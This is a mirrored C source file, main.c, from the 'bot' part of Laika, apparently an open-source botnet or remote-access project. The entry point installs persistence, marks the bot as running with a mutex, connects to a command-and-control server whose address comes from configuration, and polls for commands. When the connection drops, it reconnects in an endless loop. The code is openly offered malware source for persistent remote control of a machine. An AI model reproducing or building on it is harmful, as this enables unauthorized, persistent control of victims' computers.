1
0
mirror of https://github.com/CPunch/Laika.git synced 2025-07-05 09:31:03 +00:00
Laika/bot/src/main.c
CPunch 34dd36fb67 Windows: implemented laikaB_markRunning() & laikaB_unmarkRunning()
- use Sleep() for LAIKA_PERSISTENCE in main()
- use Mutex for checking existing LaikaBots
- switched to TEXT() for win32 strings
2022-04-16 23:54:07 -05:00

46 lines
908 B
C

#include <stdio.h>
#include "lconfig.h"
#include "lerror.h"
#include "ltask.h"
#include "bot.h"
#include "shell.h"
#include "persist.h"
int main(int argv, char *argc[]) {
struct sLaika_bot *bot;
#ifdef LAIKA_PERSISTENCE
laikaB_markRunning();
/* install persistence */
laikaB_tryPersist();
do {
#endif
bot = laikaB_newBot();
LAIKA_TRY
/* connect to test CNC */
laikaB_connectToCNC(bot, LAIKA_CNC_IP, LAIKA_CNC_PORT);
/* while connection is still alive, poll bot */
while (laikaS_isAlive((&bot->peer->sock))) {
laikaB_poll(bot);
}
LAIKA_TRYEND
/* bot was killed or it threw an error */
laikaB_freeBot(bot);
#ifdef LAIKA_PERSISTENCE
#ifdef _WIN32
Sleep(5000);
#else
sleep(5);
#endif
} while (1);
laikaB_unmarkRunning();
#endif
return 0;
}